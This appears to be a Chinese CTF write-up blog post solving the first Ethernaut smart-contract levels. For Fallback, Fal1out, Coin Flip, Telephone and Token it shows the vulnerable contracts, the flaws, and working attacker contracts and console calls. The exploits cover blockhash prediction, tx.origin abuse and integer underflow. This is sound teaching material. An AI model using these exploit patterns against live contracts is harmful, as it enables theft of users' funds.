智能合约ethernaut题解(1)

智能合约

定义:

智能合约是一种基于区块链技术的自动化合约,它能够执行、管理和强制合约条款,而无需第三方介入。智能合约通过编码和存储在区块链上的计算机代码来定义合同条件,并在满足条件时自动执行相关操作。这种自动执行使得智能合约具有高度透明性、不可篡改性和安全性

智能合约数据类型(代码结构)

智能合约可以支持多种数据类型,通常包括以下几类:

  1. 基本数据类型:类似于其他编程语言中的基本数据类型,包括整数、浮点数、布尔值等。

  2. 地址类型:用于表示合约或用户的地址。在以太坊等区块链平台上,地址类型通常是一个20字节的十六进制数。

  3. 字符串类型:用于表示文本数据,可以是固定长度的字符串或动态长度的字符串。

  4. 数组类型:用于存储一组相同类型的数据。智能合约通常支持静态数组和动态数组。

  5. 结构体类型:用于定义包含多个字段的自定义数据结构,类似于其他编程语言中的结构体或对象。

  6. 映射类型:用于实现键值对的数据结构,类似于其他编程语言中的字典或哈希表。

  7. 枚举类型:用于定义一组可能的取值,通常用于表示有限状态机中的状态。

  8. 函数类型:用于表示函数指针或回调函数,在一些智能合约编程语言中可以作为参数或返回值。

案例
  1. 闪电贷款

  2. 保险

  3. 货币交换(去中心化交易所)

  4. 房屋买卖

题解

Hello Ethernaut

配置
  1. 注册Metamask

  2. 打开PoW Faucet挖币

  3. 在打开钱包就可以看到余额了

  4. 之后打开Ethernaut (openzeppelin.com) 链接钱包

  5. 点击下方的生成实例 在控制台按要求完成

Fallback

合约代码分析:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
contract Fallback {//声明合约Fallback
    mapping(address => uint256) public contributions;//键值address 值(整形) 
    address public owner;//地址
​
    constructor() {
        owner = msg.sender;//创建合约的地址
        contributions[msg.sender] = 1000 * (1 ether);//ETH数额
    }
​
    modifier onlyOwner() {//判断调用者是不是owner 在其他函数调用前使用
        require(msg.sender == owner, "caller is not the owner");
        _;//执行函数本体的内容
    }
​
    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;//如果你给的钱小于0.001ether 可以导入
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;//如果你的贡献大于owner 就可以成功取代他
        }
    }
​
    function getContribution() public view returns (uint256) {
    //view读取函数 不会修改        pure既不读取也不修改
        return contributions[msg.sender];
    }
​
    function withdraw() public onlyOwner {//撤回 onlyOwner只有owner才能操作
        payable(owner).transfer(address(this).balance);//转钱 把合约的地址转成owner地址
    }
​
    receive() external payable {//一个合约里只能有一个 无参数 无返回值
        require(msg.value > 0 && contributions[msg.sender] > 0);
        //如果发送者贡献大于0,且账户金额大于0 更换账户拥有者为发送者
        owner = msg.sender;
    }
}
破题点:
  1. function contribute() public payable 也就是只要你满足取代条件就可以改变所有权(public)

  2. receive() external payable只要满足里面的两个条件就可以改变所有权

解题步骤:
  1. 首先使用contribute()函数 贡献

  2. 使用sendTransaction函数,触发回退函数,变更owner

  3. withdraw提现

完成!

Fal1out

代码分析:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
​
import "openzeppelin-contracts-06/math/SafeMath.sol";
​
contract Fallout {
    using SafeMath for uint256;
​
    mapping(address => uint256) allocations;
    address payable public owner;
​
    /* constructor */
    function Fal1out() public payable {//调用这个函数 直接改变拥有者
        owner = msg.sender;
        allocations[owner] = msg.value;
    }
​
    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }
​
    function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }
​
    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
    }
​
    function collectAllocations() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }
​
    function allocatorBalance(address allocator) public view returns (uint256) {
        return allocations[allocator];
    }
}

破题点:

function Fal1out() public payable

Coin Flip

代码分析:
pragma solidity ^0.8.0;
​
contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
​
    constructor() {
        consecutiveWins = 0;
    }//每次开始把赢的次数归零
​
    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));
​
        if (lastHash == blockValue) {
            revert();
        }
​
        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
​
        if (side == _guess) {
            consecutiveWins++;如果我们猜的跟他算出来的一样的话连胜次数加一
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}
破题点:

attack() external payable读取前一个区块的哈希值和一定的计算,预测硬币的正反面,并调用 challenge 合约的 flip 函数来尝试猜测硬币的正反面。

利用了区块哈希的不可预测性以及在 Solidity 中对整数除法的截断特性。通过在构造函数和 attack 函数中执行相同的操作,攻击者试图根据区块哈希计算出硬币正反面的预测值,并将其传递给 ICoinFilechallenge 接口的 flip 函数,以期获得一次成功的抛硬币结果。

攻击代码:
pragma solidity ^0.8.0;
​
interface ICoinFilechallenge {
     function flip(bool _guess) external returns (bool);
}
​
contract CoinFlipAttacter{
    ICoinFilechallenge public challenge;
​
    constructor(address challengeAddress){
        challenge = ICoinFilechallenge(challengeAddress);
        uint256 blockvalue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockvalue / 57896044618658097711785492504343953926634992332820282019728792003956564819968;
        bool side = coinFlip == 1 ? true : false;
        challenge.flip(side);
    }
​
    function attack() external payable{
        uint256 blockvalue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockvalue / 57896044618658097711785492504343953926634992332820282019728792003956564819968;
        bool side = coinFlip == 1 ? true : false;
        challenge.flip(side);
    }
​
    receive() external payable {}
}

这个代码跑10次即可

Telephone

代码分析:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
contract Telephone {
    address public owner;
​
    constructor() {
        owner = msg.sender;
    }
​
    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

破题点:

tx.origin是合约的最初发起者,而msg.sender是合约的直接调用者

因此,我们使用A-->B-->C的方式,就可以使if条件成立,完成该题目

攻击代码:
pragma solidity ^0.8.0;
​
interface ITelephoneChallenge {
    function changeOwner(address _owner) external;
}
​
contract TelephoneAttacker{
    ITelephoneChallenge public challenge;
​
    constructor(address challengeAddress){
        challenge = ITelephoneChallenge(challengeAddress);
    }
​
    function attack() external payable {
        challenge.changeOwner(tx.origin);
    }
​
    receive() external payable {}
}
运行合约:
  1. 在这一题中打开控制台,输入this.contract.address得到合约地址

  2. 将这个地址复制到deploy后面,然后deploy

  3. 之后在下面选择attack

Token

代码分析:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
​
contract Token {
    mapping(address => uint256) balances;//键:地址,值:地址下有多少tocken
    uint256 public totalSupply;
​
    constructor(uint256 _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }
​
    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }
​
    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }
}

破题点:

uint256无符号整型,意味着如果被减数小于减数时,会产生一个超级大的整数,从而通过题目

require(balances[msg.sender] - _value >= 0);这个判断条件很傻,没有任何用处,

把他改成 require(balances[msg.sender] >= _value );还好

  1. 注意使用一个非自己钱包的地址

  2. 使用await contract.transfer('0x31a3801499618d3c4b0225b9e06e228d4795b55d',30)来进行转账

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值